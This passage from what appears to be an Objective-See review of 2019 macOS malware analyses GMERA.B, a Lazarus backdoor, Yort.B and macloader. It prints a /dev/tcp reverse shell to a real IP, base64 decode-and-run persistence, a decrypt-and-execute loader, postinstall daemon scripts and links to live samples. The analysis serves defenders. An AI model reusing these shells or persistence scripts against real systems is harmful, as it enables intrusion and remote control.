/private/var/tmp/appcode\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 49 of 82\n\n9find ~/Downloads ~/Documents ~/Desktop -type f -name '.app' | xargs base64 -D | bash\r\n10find ~/Downloads ~/Documents ~/Desktop -type f -name '.app' | xargs rm\r\n11 while true; do\r\n12 if [ -f ~/Library/Containers/.pass ]; then\r\n13 pass=\"$(cat ~/Library/Containers/.pass | tr -d '\\040\\011\\012\\015')\"\r\n14 openssl aes-256-cbc -d -a -in /private/var/tmp/appcode -out /tmp/appcode -k \"$pass\"\r\n15 chmod +x /tmp/appcode\r\n16 /tmp/appcode\r\n17 sleep 1\r\n18 nohup bash -c \"find ~/Downloads ~/Documents ~/Desktop /Applications /tmp -type f -name 'appcode' 2\r\n19 rm ~/Library/Containers/.pass\r\n20 exit 1\r\n21 fi\r\n22 sleep 30\r\n23 done\r\n24fi\r\nThe stock script first copies the Resources/appcode file to a temporary location\r\n( /private/var/tmp/appcode ). If the ~/Library/Containers/.pass file exists (recall this is created by the\r\nplugin script with information from the server), it will decrypt and execute the copy of the appcode file.\r\nUnfortunately as the server is offline, the .pass is not created, and thus the appcode file cannot be decrypted:\r\n\"We suspect the file appcode is a malware file that contains additional routines. However, at the time of\r\nwriting, we were unable to decrypt this file since the upload URL\r\nhxxps://appstockfolio.com/panel/upload[.]php was inaccessible\" -TrendMicro\r\nThough the OSX.GMERA.B specimen shares various similarities with OSX.GMERA.A (such as its infection vector of\r\na trojanized Stockfolio.app ), its payload is different.\r\nRecall OSX.GMERA.B executes the Resources/run.sh script.\r\nAfter checking in with a server located at http://owpqkszz.info/link.php , the code within the run.sh script\r\ncreates an interactive remote shell to 193.37.212.176 :\r\n1scre=`screen -d -m bash -c 'bash -i \u003e/dev/tcp/193.37.212.176/25733 0\u003e\u00261'`\r\n2echo \"scre - $scre)\" \u003e\u003e /tmp/loglog\r\nWe also noted that GMERA.B (via code within run.sh ) persists a launch agent to:\r\n~/Library/LaunchAgents/.com.apple.upd.plist , to automatically execute commands whenever the user logs in:\r\n 1...\r\n 2\r\n 3 \u003ckey\u003eProgramArguments\u003c/key\u003e\r\n 4 \u003carray\u003e\r\n 5 \u003cstring\u003esh\u003c/string\u003e\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 50 of 82\n\n6 \u003cstring\u003e-c\u003c/string\u003e\r\n 7 \u003cstring\u003eecho 'd2hpbGUgOjsgZG8gc...RvbmU=' | base64 --decode | bash\u003c/string\u003e\r\n 8 \u003c/array\u003e\r\n 9\r\n10...\r\nDecoding the base-64 encoded data in the command reveals the following:\r\nwhile :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash\r\n-i \u003e/dev/tcp/193.37.212.176/25733 0\u003e\u00261'; done\r\n…ah, a persistent interactive remote shell to 193.37.212.176 .\r\nThis of course gives a remote attacker, continued access to the infected system and the ability to run arbitrary\r\ncommands.\r\n\\\r\n👾 Lazarus (unnamed)\r\nThis unnamed specimen, is yet another Lazarus group backdoor that affords a remote attacker complete command\r\nand control over infected macOS systems.\r\n Download: OSX.AppleJeus (password: infect3d )\r\n Writeups:\r\n“Pass the AppleJeus”\r\n\\\r\n Infection Vector: Trojanized (Trading) Application\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 51 of 82\n\nIn early October, @malwrhunterteam tweeted about some interesting malware:\r\n…noting this malware may have been seen before (or at least was closely related to previous specimen analyzed\r\nby Kaspersky (as OSX.AppleJeus , by Lazarus group)):\r\nWe noted early, that the de-facto method of infection utilized by the Lazarus group, was trojanized cryptocurrency\r\ntrading applications. This samples (which we refer to as OSX.AppleJeus 2 , for lack of a better name), follow an\r\nidentical approach to infect macOS targets. First, a “new” company was created: “JMT Trading” (hosted at:\r\nhttps://www.jmttrading.org/):\r\nLooks reasonably legitimate, ya? Following the “Download from Github” link, will take the user to:\r\nhttps://github.com/jmttrading/JMTTrader/releases, which contains various files for download. Files that contain\r\nmalware (specifically a disk image, that contain package named JMTTrader.pkg ): \\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 52 of 82\n\nIf the user is coerced into downloading and installing the trojanized cryptocurrency trading application, they will\r\nbe infected.\r\nNote that the installer requires administrative privileges, but the malware will kindly ask for such privileges\r\nduring installation:\r\n\\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 53 of 82\n\nPersistence: Launch Daemon\r\nThe JMTTrader.pkg contains a postinstall script (which contains the actual installation instructions). Using\r\nthe Suspicious Package app (available for download here), we can view the contents of this install file:\r\n 1#!/bin/sh\r\n 2mv /Applications/JMTTrader.app/Contents/Resources/.org.jmttrading.plist\r\n 3 /Library/LaunchDaemons/org.jmttrading.plist\r\n 4\r\n 5chmod 644 /Library/LaunchDaemons/org.jmttrading.plist\r\n 6\r\n 7mkdir /Library/JMTTrader\r\n 8\r\n 9mv /Applications/JMTTrader.app/Contents/Resources/.CrashReporter\r\n10 /Library/JMTTrader/CrashReporter\r\n11\r\n12chmod +x /Library/JMTTrader/CrashReporter\r\n13\r\n14/Library/JMTTrader/CrashReporter Maintain \u0026\r\nIn short, this install script:\r\n1. Installs a launch daemon plist ( org.jmttrading.plist )\r\n2. Installs a daemon ( CrashReporter )\r\n3. Executes said daemon with the Maintain command line parameter.\r\nBoth the daemon’s plist and binary are (originally) embedded into an application, JMTTrader.app found within\r\nthe .pkg . Specifically they’re hidden files found in the /Resources directory;\r\nResources/.org.jmttrading.plist and Resources/.CrashReporter :\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 54 of 82\n\nUsing the “Suspicious Package” app we can extract both these file for analysis.\nFirst, let’s look at the launch daemon plist ( org.jmttrading.plist ):\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabelorg.jmttrading.jmttraderProgramArguments/Library/JMTTrader/CrashReporterMaintainRunAtLoad As expected, it references the daemon /Library/JMTTrader/CrashReporter (in the ProgramArguments array).\nAs the RunAtLoad is set to true macOS will automatically (re)start the daemon every time the system is\nrebooted. \\\nhttps://objective-see.com/blog/blog_0x53.html\nPage 55 of 82\n\nCapabilities: Persistent Backdoor\r\nThe malware persists (via a Launch Daemon) the CrashReporter binary.\r\nVia the file command, we can determine its file type (Mach-O 64-bit):\r\n$ file ~/Downloads/.CrashReporter\r\n~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64\r\nUsing my WhatsYourSign utility, we can easily ascertain it’s code-signing status. Though signed, it’s signed ad-hoc:\r\nRunning the strings command, affords us valuable insight into the (likely) functionality of the binary.\r\n$ strings -a ~/Downloads/.CrashReporter\r\nContent-Disposition: form-data; name=\"%s\";\r\njGzAcN6k4VsTRn9\r\n...\r\nmont.jpg\r\n...\r\nbeastgoc.com\r\nhttps://%s/grepmonux.php\r\nPOST\r\n...\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121\r\nX,%`PMk--Jj8s+6=\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 56 of 82\n\n\\\r\nAlways run the strings command with the -a flag to instruct it to scan the entire file for printable (ASCII)\r\nstrings!\r\nFrom the output of the strings command, we can see some interesting, well, strings!\r\nbeastgoc.com , https://%s/grepmonux.php\r\nlikely a download or C\u0026C server?\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...\r\nthe binary’s user-agent (perhaps useful as an IOC)?\r\nX,%\\`PMk--Jj8s+6=\r\nperhaps an encryption or decryption key?\r\nEach time the malware is started, it sends an HTTP POST request to https://beastgoc.com/grepmonux.php\r\ncontaining the following data:\r\n(lldb)x/s 0x100260000\r\n0x100260000: \"--jGzAcN6k4VsTRn9\\r\\nContent-Disposition: form-data; name=\"token\"; \\r\\n\\r\\n756222899\\r\\\r\nThe command and control server will respond with (encrypted) tasking.\r\n 1int listen_messagev() {\r\n 2\r\n 3...\r\n 4\r\n 5send_to_base(_g_token, 0x0, 0x0, r12, r13, 0x1);\r\n 6\r\n 7//decrypt\r\n 8do {\r\n 9 (r12 + rax) = *(int8_t *)(r12 + rax) ^ *(int8_t *)((rax \u0026 0xf) + _cbc_iv);\r\n10 rax = rax + 0x1;\r\n11} while (rbx != rax);\r\n12\r\n13\r\n14//handle tasking (commands)\r\n15if (strcmp(r12, \"exit\") == 0x0) goto exit;\r\n16\r\n17if (strcmp(r12, \"kcon\") == 0x0) goto kcon;\r\n18\r\n19if (is_str_start_with(r12, \"up \") == 0x0) goto up;\r\n20\r\n21...\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 57 of 82\n\nUnfortunately during analysis, the C\u0026C server did not return any tasking. However, via static analysis, we can\r\nfairly easily ascertain the malware’s capabilities.\r\nFor example, the malware supports an “exit” command, which will (unsurprisingly) causes the malware to exit:\r\n 1if (strcmp(r12, \"exit\") == 0x0) goto exit;\r\n 2\r\n 3...\r\n 4\r\n 5exit:\r\n 6 r14 = 0x250;\r\n 7 var_434 = 0x0;\r\n 8 __bzero(r12, 0x30000);\r\n 9 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, \u0026var_434, 0x2);\r\n10 free(r12);\r\n11 free(r14);\r\n12 exit(0x0);\r\nIf the malware receives the up command, it appears to contain logic to open then write to a a file (i.e. upload a\r\nfile from the C\u0026C server to an infected host):\r\n 1if (is_str_start_with(r12, \"up \") != 0x0)\r\n 2{\r\n 3 //open file\r\n 4 rax = fopen(\u0026var_430, \"wb\");\r\n 5\r\n 6 //(perhaps) get file contents from C\u0026C server?\r\n 7 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, r13, 0x2)\r\n 8 ...\r\n 9\r\n10 //decrypt\r\n11 do {\r\n12 (r12 + rax) = (r12 + rax) ^ (rax \u0026 0xf) + _cbc_iv);\r\n13 rax = rax + 0x1;\r\n14 } while (rbx != rax);\r\n15\r\n16 //write out to disk\r\n17 fwrite(r12, rbx, 0x1, var_440);\r\n18\r\n19 //close\r\n20 fclose(var_440);\r\n21\r\n22}\r\nOther commands, will cause the malware to invoke a function named: proc_cmd :\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 58 of 82\n\n1if ((rbx \u003c 0x7) || (is_str_start_with(r12, \"stand \") == 0x0))\r\n2 goto loc_10000241c;\r\n3\r\n4loc_10000241c:\r\n5 rax = proc_cmd(r12, r14, \u0026var_438);\r\nThe proc_cmd function appears to execute a command via the shell (specifically via the popen API):\r\n1int proc_cmd(int * arg0, int * arg1, unsigned int * arg2) {\r\n2 r13 = arg2;\r\n3 r14 = arg1;\r\n4\r\n5 __bzero(\u0026var_430, 0x400);\r\n6 sprintf(\u0026var_430, \"%s 2\u003e\u00261 \u0026\", arg0);\r\n7 rax = popen(\u0026var_430, \"r\");\r\n$ man popen\r\nFILE * popen(const char *command, const char *mode);\r\nThe popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the\r\nThe command argument is a pointer to a null-terminated string containing a shell command line. This\r\nThe ability to remotely execute commands, clearly gives a remote attacker full and extensible control over the\r\ninfected macOS system!\r\n\\\r\n👾 OSX.Yort.B\r\nOSX.Yort.B is a close variant to the Lazarus group’s OSX.Yort.A ; a backdoor that affords a remote attacker\r\ncomplete command and control over infected macOS systems.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 59 of 82\n\nDownload: OSX.Yort.B (password: infect3d )\r\n Writeups:\r\n“Mac Backdoor Linked to Lazarus Targets Korean Users”\r\n“Lazarus Take 3: FlashUpdateCheck, Album.app”\r\n\\\r\n Infection Vector: Trojanized Application\r\nIn late October, Twitter user @cyberwar_15 uncovered a new Lazarus group backdoor, targeting macOS users.\r\nHis tweet identified a malicious excel ( xls ) document, and a malicious application Album.app .\r\nThough Lazarus group has previously utilized malicious “macro-laden” office documents to target macOS users\r\n(e.g. OSX.Yort) is malicious excel document (as noted by TrendMicro) contains no macOS logic:\r\n$ olevba 연인심리테스트.xls\r\n===============================================================================\r\nFILE: 연인심리테스트.xls\r\nType: OLE\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Module1.bas\r\nin file: 연인심리테스트.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n#If Mac Then\r\n#Else\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 60 of 82\n\n…thus is seems likely to assume that the malicious application ( Album.app ) is instead directly distributed to\r\ntargets (perhaps as an email attachment).\r\nAs the application is unsigned, user’s would have to manually disable or work-around Gatekeeper: \\\r\n$ codesign -dvv /Users/patrick/Downloads/yort_b/Album.app\r\n/Users/patrick/Downloads/yort_b/Album.app: code object is not signed at all\r\nThus, its unlikely many macOS users were infected …though in a targeted APT operation, sometimes just one is\r\nenough!\r\n Persistence: Launch Agent\r\nAlthough the original version of Yort was not persisted, OSX.Yort.B is persisted as a launch agent.\r\nSpecifically, if the user is coerced into running the malicious application, Album.app , it will persistently install a\r\nlaunch agent; ~/Library/Launchagents/com.adobe.macromedia.plist .\r\nTaking a peek at disassembly of the malicious application’s binary ( Album.app/Contents/macOS/Flash Player ),\r\nreveals an embedded property list and code that will both save out this plist, then launch it via launchctl load :\r\n 1rax = strncmp(\u0026var_1010, \"/tmp\", 0x4);\r\n 2if (rax != 0x0) {\r\n 3 memset(\u0026var_1410, 0x0, 0x400);\r\n 4 var_8144 = sprintf(\u0026var_1410, \"%s/Library/LaunchAgents/%s\",\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 61 of 82\n\n5 \u0026var_1010, \"com.adobe.macromedia.flash.plist\");\r\n 6\r\n 7 rax = fopen(\u0026var_1410, \"w\");\r\n 8 var_80C0 = rax;\r\n 9 if (var_80C0 != 0x0) {\r\n10 fprintf(var_80C0, \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\r\n11 \\n\u003c!DOCTYPE plist PUBLIC \\\"-//Apple//DTD PLIST 1.0//EN\\\" ...\"\u003e\r\n12 \\n\u003cplist version=\\\"1.0\\\"\u003e\\n\u003cdict\u003e\\n\\t\u003ckey\u003eEnvironmentVariables\u003c/key\u003e\r\n13 \\n\\t\u003cdict\u003e\\n\\t\\t\u003ckey\u003ePATH\u003c/key\u003e\\n\\t\\t\u003cstring\u003e/usr/local/bin:/…\");\r\n14 fclose(var_80C0);\r\n15 }\r\n16 memset(\u0026var_1410, 0x0, 0x400);\r\n17 var_816C = sprintf(\u0026var_1410, \"launchctl load -w \\\"%s/Library/LaunchAgents/%s\\\"\",\r\n18 \u0026var_1010, \"com.adobe.macromedia.flash.plist\");\r\n19 rax = system(\u0026var_1410);\r\n20}\r\nWe can also dynamically observe this via our FileMonitor :\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -filter \"Flash Player\" -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"file\" : {\r\n \"destination\" : \"~/Library/LaunchAgents/com.adobe.macromedia.flash.plist\",\r\n \"process\" : {\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n ],\r\n \"ppid\" : 1,\r\n \"ancestors\" : [\r\n 1\r\n ],\r\n \"signing info\" : {\r\n \"csFlags\" : 0,\r\n \"isPlatformBinary\" : 0,\r\n \"cdHash\" : \"00000000000000000000\"\r\n },\r\n \"path\" : \"Album.app/Contents/MacOS/Flash Player\",\r\n \"pid\" : 1031\r\n }\r\n },\r\n \"timestamp\" : \"2019-12-27 21:05:48 +0000\"\r\n}\r\nOf course, this persistence is readily detected by our BlockBlock tool:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 62 of 82\n\nBy means of the com.adobe.macromedia.flash.plist file, the malware perists a binary:\r\n/Users/user/.FlashUpdateCheck (as specified via the Program key):\r\ndefaults read ~/Library/LaunchAgents/com.adobe.macromedia.flash.plist\r\n{\r\n EnvironmentVariables = {\r\n PATH = \"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:\";\r\n };\r\n KeepAlive = 0;\r\n Label = FlashUpdate;\r\n LaunchOnlyOnce = 1;\r\n Program = \"/Users/user/.FlashUpdateCheck\";\r\n RunAtLoad = 1;\r\n}\r\nAs the RunAtLoad key is set, macOS will automatically (re)start the .FlashUpdateCheck binary each time the\r\nuser logs in.\r\n Capabilities: Backdoor\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 63 of 82\n\nRecall when the user runs the malicious Album.app it persists a hidden binary, .FlashUpdateCheck\r\nWe can observe this binary being dropped by Album.app :\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -filter \"Flash Player\" -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_WRITE\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/.FlashUpdateCheck\",\r\n \"process\" : {\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n ],\r\n \"ppid\" : 1,\r\n \"ancestors\" : [\r\n 1\r\n ],\r\n \"signing info\" : {\r\n \"csFlags\" : 0,\r\n \"isPlatformBinary\" : 0,\r\n \"cdHash\" : \"00000000000000000000\"\r\n },\r\n \"path\" : \"/Users/user/Desktop/Album.app/Contents/MacOS/Flash Player\",\r\n \"pid\" : 1031\r\n }\r\n },\r\n \"timestamp\" : \"2019-12-27 21:05:48 +0000\"\r\n}\r\nThe hidden .FlashUpdateCheck binary is basic backdoor, essentially identical to OSX.Yort ( mt.dat ) which\r\nwe covered early in this blog post.\r\nIn their brief writeup on the malware, SentinelOne, notes this fact as well, stating that:\r\n\"*research suggests that the payload is the same backdoor payload we described earlier this year*\" -\r\nSentinelOne\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 64 of 82\n\nOur analysis confirms this (as does a quick look at the embedded strings):\r\nIn OSX.Yort.B, the Lazarus group attackers has changed a few strings, and removed various function names (to\r\nslightly complicate analysis).\r\n…for example, in OSX.Yort.A the execute command function was aptyl named “ReplyCmd”, while the file\r\ndownload command was named “ReplyDown”. In OSX.Yort.B, these functions remain unnamed.\r\nAs we detailed the capabilities of this backdoor above, we won’t (re)cover it again here. However, the recall it\r\nsupports “standard” backdoor commands such as:\r\nsurvey\r\nfile download/upload\r\n(shell)command execution\r\nArmed with these capabilities, remote attacker can maintain full remote control over the infected macOS system!\r\n\\\r\n👾 Lazarus Loader (aka macloader )\r\nYet another Lazarus group creation (internally named macloader ), this first-stage implant loader, can download\r\nand execute modules directly from memory!\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 65 of 82\n\nDownload: macloader (password: infect3d )\r\n Writeups:\r\n“Lazarus Group Goes ‘Fileless’”\r\n“Newly discovered Mac malware uses “fileless” technique to remain stealthy”\r\n\\\r\n Infection Vector: Trojanized (Trading) Application\r\nRecently, Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan:\r\nWe’ve noted that the Lazarus APT group has a propensity for targeting users or administrators of crypto-currency\r\nexchanges. And their de facto method of infecting such targets is via fake crypto-currency companies and trading\r\napplications. Here, yet again we see them utilizing this approach to infect their targets.\r\nSpecifically, they first created a (fake) crypto-currency trading platform, “Union Trader Crypto”\r\n( unioncrypto.vip ):\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 66 of 82\n\nQuerying VirusTotal with this IP address, we find a URL request that triggered a download of the malicious\r\napplication ( https://www.unioncrypto.vip/download/W6c2dq8By7luMhCmya2v97YeN ):\r\nSaid application is delivered via a disk image, named UnionCryptoTrader.dmg We can mount this disk image, via\r\nthe hdiutil attach command:\r\n$ hdiutil attach ~/Downloads/UnionCryptoTrader.dmg\r\nexpected CRC32 $7720DF1C\r\n/dev/disk4 GUID_partition_scheme\r\n/dev/disk4s1 Apple_APFS\r\n/dev/disk5 EF57347C-0000-11AA-AA11-0030654\r\n/dev/disk5s1 41504653-0000-11AA-AA11-0030654 /Volumes/UnionCryptoTrader\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 67 of 82\n\nIt contains a single package: UnionCryptoTrader.pkg :\r\n$ ls -lart /Volumes/UnionCryptoTrader\r\ntotal 40120\r\n-rwxrwxrwx 1 patrick staff 20538265 Sep 4 06:25 UnionCryptoTrader.pkg\r\nVia our “WhatsYourSign” application, it’s easy to see the UnionCryptoTrader.pkg package is unsigned:\r\n…which means macOS will warn the user, if they attempt to open it:\r\nClearly, the Lazarus group is sticking with its successful attack vector (of targeting employees of crypto-currency\r\nexchanges with trojanized trading applications).\r\n Persistence: Launch Agent\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 68 of 82\n\nTaking a peek at the UnionCryptoTrader.pkg package, uncovers a postinstall script that will be executed at\r\nthe end of the installation process:\r\n 1#!/bin/sh\r\n 2mv /Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist\r\n 3 /Library/LaunchDaemons/vip.unioncrypto.plist\r\n 4\r\n 5chmod 644 /Library/LaunchDaemons/vip.unioncrypto.plist\r\n 6mkdir /Library/UnionCrypto\r\n 7\r\n 8mv /Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater\r\n 9 /Library/UnionCrypto/unioncryptoupdater\r\n10\r\n11chmod +x /Library/UnionCrypto/unioncryptoupdater\r\n12/Library/UnionCrypto/unioncryptoupdater \u0026\r\nThe purpose of this script is to persistently install a launch daemon.\r\nSpecifically, the script will:\r\nmove a hidden plist ( .vip.unioncrypto.plist ) from the application’s Resources directory into\r\n/Library/LaunchDaemons\r\nset it to be owned by root\r\ncreate a /Library/UnionCrypto directory\r\nmove a hidden binary ( .unioncryptoupdater ) from the application’s Resources directory into\r\n/Library/UnionCrypto/\r\nset it to be executable\r\nexecute this binary ( /Library/UnionCrypto/unioncryptoupdater )\r\nWe can passively observe this part of the installation via either our File or Process monitors:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"uid\" : 0,\r\n \"arguments\" : [\r\n \"mv\",\r\n \"/Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist\",\r\n \"/Library/LaunchDaemons/vip.unioncrypto.plist\"\r\n ],\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 69 of 82\n\n\"ppid\" : 3457,\r\n \"ancestors\" : [\r\n 3457,\r\n 951,\r\n 1\r\n ],\r\n \"signing info\" : {\r\n \"csFlags\" : 603996161,\r\n \"signatureIdentifier\" : \"com.apple.mv\",\r\n \"cdHash\" : \"7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD\",\r\n \"isPlatformBinary\" : 1\r\n },\r\n \"path\" : \"/bin/mv\",\r\n \"pid\" : 3458\r\n },\r\n \"timestamp\" : \"2019-12-05 20:14:28 +0000\"\r\n}\r\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"uid\" : 0,\r\n \"arguments\" : [\r\n \"mv\",\r\n \"/Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater\",\r\n \"/Library/UnionCrypto/unioncryptoupdater\"\r\n ],\r\n \"ppid\" : 3457,\r\n \"ancestors\" : [\r\n 3457,\r\n 951,\r\n 1\r\n ],\r\n \"signing info\" : {\r\n \"csFlags\" : 603996161,\r\n \"signatureIdentifier\" : \"com.apple.mv\",\r\n \"cdHash\" : \"7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD\",\r\n \"isPlatformBinary\" : 1\r\n },\r\n \"path\" : \"/bin/mv\",\r\n \"pid\" : 3461\r\n },\r\n \"timestamp\" : \"2019-12-05 20:14:28 +0000\"\r\n}\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 70 of 82\n\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"uid\" : 0,\r\n \"arguments\" : [\r\n \"/Library/UnionCrypto/unioncryptoupdater\"\r\n ],\r\n \"ppid\" : 1,\r\n \"ancestors\" : [\r\n 1\r\n ],\r\n \"signing info\" : {\r\n \"csFlags\" : 536870919,\r\n \"signatureIdentifier\" : \"macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392\",\r\n \"cdHash\" : \"8D204E5B7AE08E80B728DE675AEB8CC735CCF6E7\",\r\n \"isPlatformBinary\" : 0\r\n },\r\n \"path\" : \"/Library/UnionCrypto/unioncryptoupdater\",\r\n \"pid\" : 3463\r\n },\r\n \"timestamp\" : \"2019-12-05 20:14:28 +0000\"\r\n}\r\nThough installing a launch daemon requires root access, the installer will prompt the user for their credentials:\r\nOnce the installer completes, the binary unioncryptoupdater will both currently executing, and persistently\r\ninstalled:\r\n$ ps aux | grep [u]nioncryptoupdater\r\nroot 1254 /Library/UnionCrypto/unioncryptoupdater\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 71 of 82\n\nOf course, BlockBlock will detect the launch daemon persistence attempt:\nAs noted, persistence is achieved via the vip.unioncrypto.plist launch daemon:\n 1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5 Label 6 vip.unioncrypto.product 7 ProgramArguments 8 9 /Library/UnionCrypto/unioncryptoupdater 10 11 RunAtLoad 12 13 14 As the RunAtLoad key is set to true this instruct macOS to automatically launch the binary specified in the\nProgramArguments array each time the infected system is rebooted. As such\n/Library/UnionCrypto/unioncryptoupdater will be automatically (re) executed.\n Capabilities: 1st-stage implant (in-memory module loader)\nOk, time to analyze the persisted unioncryptoupdater binary.\nVia the file command we can ascertain its a standard macOS (64bit) binary:\nhttps://objective-see.com/blog/blog_0x53.html\nPage 72 of 82\n\n$ file /Library/UnionCrypto/unioncryptoupdater\r\n/Library/UnionCrypto/unioncryptoupdater: Mach-O 64-bit executable x86_64\r\nThe codesign utility shows us both it identifier ( macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 ) and\r\nthe fact that it’s not signed with a valid code signing id, but rather adhoc ( Signature=adhoc ):\r\n$ codesign -dvv /Library/UnionCrypto/unioncryptoupdater\r\nExecutable=/Library/UnionCrypto/unioncryptoupdater\r\nIdentifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392\r\nFormat=Mach-O thin (x86_64)\r\nCodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded\r\nSignature=adhoc\r\nInfo.plist=not bound\r\nTeamIdentifier=not set\r\nSealed Resources=none\r\nInternal requirements count=0 size=12\r\nRunning the strings utility (with the -a flag) reveals some interesting strings:\r\n$ strings -a /Library/UnionCrypto/unioncryptoupdater\r\ncurl_easy_perform() failed: %s\r\nAES_CYPHER_128 encrypt test case:\r\nAES_CYPHER_128 decrypt test case:\r\nAES_CYPHER_192 encrypt test case:\r\nAES_CYPHER_192 decrypt test case:\r\nAES_CYPHER_256 encrypt test case:\r\nAES_CYPHER_256 decrypt test case:\r\nInput:\r\nIOPlatformExpertDevice\r\nIOPlatformSerialNumber\r\n/System/Library/CoreServices/SystemVersion.plist\r\nProductVersion\r\nProductBuildVersion\r\nMac OS X %s (%s)\r\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\r\n/tmp/updater\r\n%s %s\r\nNO_ID\r\n%s%s\r\n12GWAPCT1F0I1S14\r\nauth_timestamp\r\nauth_signature\r\ncheck\r\nhttps://unioncrypto.vip/update\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 73 of 82\n\ndone\r\n/bin/rcp\r\nCould not create image.\r\nCould not link image.\r\nCould not find ec.\r\nCould not resolve symbol: _sym[25] == 0x4d6d6f72.\r\nCould not resolve symbol: _sym[4] == 0x4d6b6e69.\r\nStrings such as IOPlatformSerialNumber and reference to the SystemVersion.plist likely indicate basic\r\nsurvey capabilities (to gather information about the infected system). The reference to libcurl API\r\n( curl_easy_perform ) and embedded url https://unioncrypto.vip/update indicate networking and/or\r\ncommand and control capabilities.\r\nOpening a the binary ( unioncryptoupdater ) in a disassembler, shows the main function simply invoking a\r\nfunction named onRun :\r\n1int _main() {\r\n2 rbx = objc_autoreleasePoolPush();\r\n3\r\n4 onRun();\r\n5\r\n6 objc_autoreleasePoolPop(rbx);\r\n7 return 0x0;\r\n8}\r\nThough rather long and involved we can break down its logic.\r\n1. Instantiate a C++ class named Barbeque: Barbeque::Barbeque(); By piping the output of the nm utility\r\ninto c++filt we can dump other methods from the Barbeque class:\r\n$ nm unioncryptoupdater | c++filt\r\nunsigned short Barbeque::Barbeque()\r\nunsigned short Barbeque::get( ... )\r\nunsigned short Barbeque::post( ... )\r\nunsigned short Barbeque::~Barbeque()\r\nBased on method names, perhaps the Barbeque class contains network related logic?\r\n\\\r\n2. Invokes a function named getDeviceSerial to retrieve the system serial number via IOKit\r\n( IOPlatformSerialNumber ):\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 74 of 82\n\n1int __Z15getDeviceSerialPc(int * arg0) {\r\n 2\r\n 3 ...\r\n 4\r\n 5 r15 = *(int32_t *)*_kIOMasterPortDefault;\r\n 6 rax = IOServiceMatching(\"IOPlatformExpertDevice\");\r\n 7 rax = IOServiceGetMatchingService(r15, rax);\r\n 8 if (rax != 0x0) {\r\n 9 rbx = CFStringGetCString(IORegistryEntryCreateCFProperty(rax,\r\n10 @\"IOPlatformSerialNumber\", **_kCFAllocatorDefault, 0x0),\r\n11 r14, 0x20, 0x8000100) != 0x0 ? 0x1 : 0x0;\r\n12\r\n13 IOObjectRelease(rax);\r\n14 }\r\n15 rax = rbx;\r\n16 return rax;\r\n17}\r\nDebugging the malware (in a VM), shows this method correctly returns the virtual machine’s serial number\r\n( 